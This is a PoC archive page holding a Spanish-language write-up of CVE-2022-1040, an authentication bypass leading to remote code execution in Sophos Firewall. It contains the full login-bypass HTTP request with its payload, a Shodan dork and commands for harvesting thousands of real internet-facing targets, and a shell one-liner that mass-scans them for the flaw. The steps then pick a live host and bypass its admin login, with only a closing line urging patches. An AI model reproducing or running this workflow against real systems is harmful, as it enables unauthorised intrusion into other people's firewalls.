目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2022-1040 PoC — Sophos Firewall 授权问题漏洞

来源
关联漏洞
标题: Sophos Firewall 授权问题漏洞 (CVE-2022-1040)
Description:Sophos Firewall是英国Sophos公司的一款防火墙。 Sophos Firewall version v18.5 MR3 版本及之前版本的 User Portal 和 Webadmin 模块存在授权问题漏洞,该漏洞源于User Portal 和 Webadmin 模块存在身份认证绕过漏洞。攻击者通过该漏洞可以远程执行代码。
Description
CVE-2022-1040
介绍
# Análisis Vulnerabilidad CVE-2022-1040 (Sophos RCE)

En el grupo de investigación [Toasec,](http://toadsec.io/) dedicado a ciberseguridad ofensiva nos dimos la tarea de realizar el análisis sobre esta vulnerabilidad en los firewalls de Sophos.

Dicha vulnerabilidad como muchas otras pueden ser notificadas y encontradas si sabes buscar en [twitter](https://twitter.com/search?q=CVE-2022-1040&src=typed_query&f=top), en donde observamos que desde el mes de marzo se comenzaron a observar artículos sobre el RCE

<img src="img/imagen1.png" style="zoom:50%;" />

Fuente: https://www.bleepingcomputer.com/news/security/critical-sophos-firewall-vulnerability-allows-remote-code-execution/

Si observamos los repositorios que tienen las [POC](https://github.com/APTIRAN/CVE-2022-1040) 

```http
POST /webconsole/Controller HTTP/1.1
Host: 127.0.0.1:4444
Cookie: JSESSIONID=c893loesu9tnlvkq53hy1jiq103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Origin: https://127.0.0.1:4444
Referer: https://127.0.0.1:4444/webconsole/webpages/login.jsp
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 192

mode=151&json={"username"%3a"admin","password"%3a"somethingnotpassword","languageid"%3a"1","browser"%3a"Chrome_101","accessaction"%3a1,+"mode\u0000ef"%3a716}&__RequestType=ajax&t=1653896534066

```

Podemos observar el payload (**mode=151&json=**) el cual es lo que nos permite realizar el bypass al login y observamos de igual manera el endpoint **webconsole/webpages/login.jsp**

Ahora pasamos analizar  los ataques en greynose y verificar si esta siendo explotado activamente 

![](img/imagen2.png)

Una vez identificamos el endpoint y comprobamos algunas rutas usadas en los ataques con [greynoise](https://viz.greynoise.io/) podemos crear nuestro dork en shodan `title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)"` este dork es el que hemos identificado con mayor probabilidad, pero debemos recordar que las versiones vulnerables son **Sophos XG115w Firewall 17.0.10 MR-10**

![](img/imagen3.png)



### Requisitos

1. [VPS de Preferencia Ubuntu Server 20.04](https://www.vultr.com/?ref=8403796-6G)
2. Una cuenta de Shodan configurada para usar la CLI y su API
3. Instalar **jq** 



### POC

1. Preparación de los targets con shodan CLI

`shodan download --limit -1 sophos.gz title:"Sophos" html:"UserPortalLogin.js" product:"Sophos Cyberoam (appliance)" port:443`

Procedemos a verificar los datos

<img src="img/imagen4.png" alt="imagen4" style="zoom:70%;" />

Vamos a parsear los datos a un formato que nos permita la automatización y observamos que existe 2776 posibles targets

`shodan parse --fields ip_str,port --separator , sophos.gz > sophos.txt`

![](img/imagen5.png)

Ahora debemos limpiar y quitar las comas para que sea más fácil trabajar con el [onliner](https://github.com/CronUp/Vulnerabilidades/blob/main/CVE-2022-1040_checker)

`sed  's/,/:/g' sophos.txt > sophos-parseado.txt`

<img src="img/imagen6.png" style="zoom:70%;" />

Ya podemos trabajar con el onliner en un formato más adecuado

```shell
cat sophos-parseado.txt | while read host do; do curl --connect-timeout 10 -ks -H "X-Requested-With: XMLHttpRequest" -X POST "https://$host/userportal/Controller?mode=8700&operation=1&datagrid=179&json=\{"👽":"TEST"\}" | grep -q 'Session Expired' && printf "$host \033[1;41mVulnerable a CVE-2022-1040 (Sophos RCE)\e[0m\n"; done; 
```

![](img/imagen7.png)



2. Explotación

Una vez verificamos nuestros targets solamente es cuestión de seleccionar uno y realizar la prueba, accediendo al panel de login

![](img/imagen8.png)

Interceptamos la petición de login y la enviamos al responder

![](img/imagen9.png)

Modificamos la petición con el payload y debemos tener una redirección a la administración del firewall

![imagen10](img/imagen10.png)

Probamos accediendo a la ruta **index.jsp**

![imagen11](img/imagen11.png)

Hemos comprobado que la vulnerabilidad esta presente en el objetivo, de igual manera se encuentra activa en muchos hosts, no obstante la fecha se ha podido observar una mitigación amplia en cuanto a otras vulnerabilidad.

En estos casos lo primordial es realizar una actualización e instalación de los parches de seguridad a penas estén a disposición de parte de los fabricantes.
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →